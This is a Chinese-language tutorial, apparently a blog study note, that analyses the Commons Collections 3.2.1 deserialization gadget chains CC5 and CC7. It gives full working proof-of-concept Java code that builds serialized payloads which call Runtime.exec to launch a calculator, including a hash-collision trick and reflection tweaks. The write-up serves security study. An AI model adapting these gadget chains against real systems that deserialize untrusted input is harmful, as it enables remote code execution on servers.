Java反序列化-Commons-Collections-cc5&cc7
前置
最后两个链,就放在一起讲了。
cc 版本还是3.2.1
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
cc5
分析
先来看 cc5 的作者写的利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
|
|
看到从 LazyMap.get() 往后都是一样的
(这里 find Usage 实在是太多了,直接进去看了…)
- TiedMapEntry

同时 map 也可以在构造函数中赋值,没问题。

- BadAttributeValueExpException

编写 poc
因为是从 LazyMap.get 开始的,所以我们直接把 cc1 链子的 LazyMap 后边部分拿过来。
1 2 3 4 5 6 7 8 9 10
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map lazymap = LazyMap.decorate(map, chainedTransformer);
|
然后直接用反射去调用一下 get 方法看看是否可以执行:
1 2 3
| Class c = LazyMap.class; Method getMethod = c.getMethod("get", Object.class); getMethod.invoke(lazymap, chainedTransformer);
|
没问题
继续写调用链
- TideMapEntry
前面已经分析过了,直接构造函数传进来 map 即可。
1
| TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
|
- BadAttributeValueExpException

这里构造函数要传入 null,因为我们要调用 readObject 里面的 valObj.toString
然后因为 val 不能在构造方法里面赋值,但是该类的父类支持序列化,所以我们可以通过反射的方式修改 val 的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| package xekoner; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class cc5Demo { public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map lazymap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class c = badAttributeValueExpException.getClass(); Field valField = c.getDeclaredField("val"); valField.setAccessible(true); valField.set(badAttributeValueExpException, tiedMapEntry); serialize(badAttributeValueExpException); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
总结
cc7
前置
环境和 cc5 一样
其他同样还是直接对 yso 师傅的链子进行分析
cc7分析
可以看到后面半条链子和 cc1 一样,所以我们还是从 LazyMap.get 开始分析
依旧先粘贴过来后半部分的代码:
1 2 3 4 5 6 7 8 9 10
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map lazymap = LazyMap.decorate(map, chainedTransformer);
|
Hashtable.readObject
readObject 方法中存在一个方法: reconstitutionPut()
这里的 key 和 value 可以通过 put 方式添加
跟进方法可以看到调用了equals 方法:

这里传入的 key 也就是在 AbstractMap.equals() 方法中的参数 m
这里的 m 就是我们传入的参数对象 o
初步 exp
这里的 e.hash 和 e.key.equals(key)
这里有一个小特性,如果前半段语句 e.hash == hash 判断为假,那就会直接退出 if 语句;所以我们肯定要让前半段语句能够通过也就是为真
所以我们需要传入两个不同的对象,让 e.hash == hash 判断为真
讲不太清,直接上 exp 讲
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); Map<Object, Object> Lazy1 = LazyMap.decorate(map1, chainedTransformer); Lazy1.put("yy",1); Map<Object, Object> Lazy2 = LazyMap.decorate(map2, chainedTransformer); Lazy2.put("zZ",1);
Hashtable hashtable = new Hashtable(); hashtable.put(Lazy1,1); hashtable.put(Lazy2,1);
|
我们先创建两个 HashMap 用来存放数据
下面创建 hashtable , lazymap 放入。
注意这里必须是 yy 和 zZ
因为涉及到了 hash 碰撞, yy 和 zZ 的 hashCode 经过计算后是完全相等的
当这两个 LazyMap 被放入同一个 Hashtable 时,由于它们的 hashCode 相等,put 到第二个时候会执行
if (e.hash == hash && e.key.equals(key)) 方法
因为 hash 相同,所以执行到 Lazy1.equlas(Lazy2)
因为 LazyMap extends AbstractMapDecorator , AbstractMapDecorator implements Map
所以最终会调用到 AbstractMap.java 的 equals 方法中,触发利用链
解决问题
现在 exp 确实可以弹计算器,只不过在本地也可以弹。
所以我们需要解决一下问题:
因为刚才执行 hashtable.put(lazy2, 1) 时,已经触发了 lazy2.get(“yy”)
导致 lazy2 的内部 map 已经包含了 {“yy”: 1, “zZ”: 1}
我们必须把 “yy” 删掉,否则反序列化时不会进入 transform 逻辑
同时对上方的 transformer 进行修改:

和之前 cc 链一样,为了避免一些不必要的麻烦
先随便传入一点参数,然后后续 put 完成后再反射改回来
总结
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| package xekoner; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.AbstractMapDecorator; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.AbstractMap; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class cc7Demo { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{}); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); Map<Object, Object> Lazy1 = LazyMap.decorate(map1, chainedTransformer); Lazy1.put("yy",1); Map<Object, Object> Lazy2 = LazyMap.decorate(map2, chainedTransformer); Lazy2.put("zZ",1); Hashtable hashtable = new Hashtable(); hashtable.put(Lazy1,1); hashtable.put(Lazy2,1); Class c = ChainedTransformer.class; Field declaredField = c.getDeclaredField("iTransformers"); declaredField.setAccessible(true); declaredField.set(chainedTransformer, transformers); map2.remove("yy"); serialize(hashtable); unserialize("ser.bin"); } public static void serialize(Object obj)throws IOException { ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin")); out.writeObject(obj); } public static Object unserialize(String Filename)throws IOException,ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename)); Object obj = in.readObject(); return obj; } }
|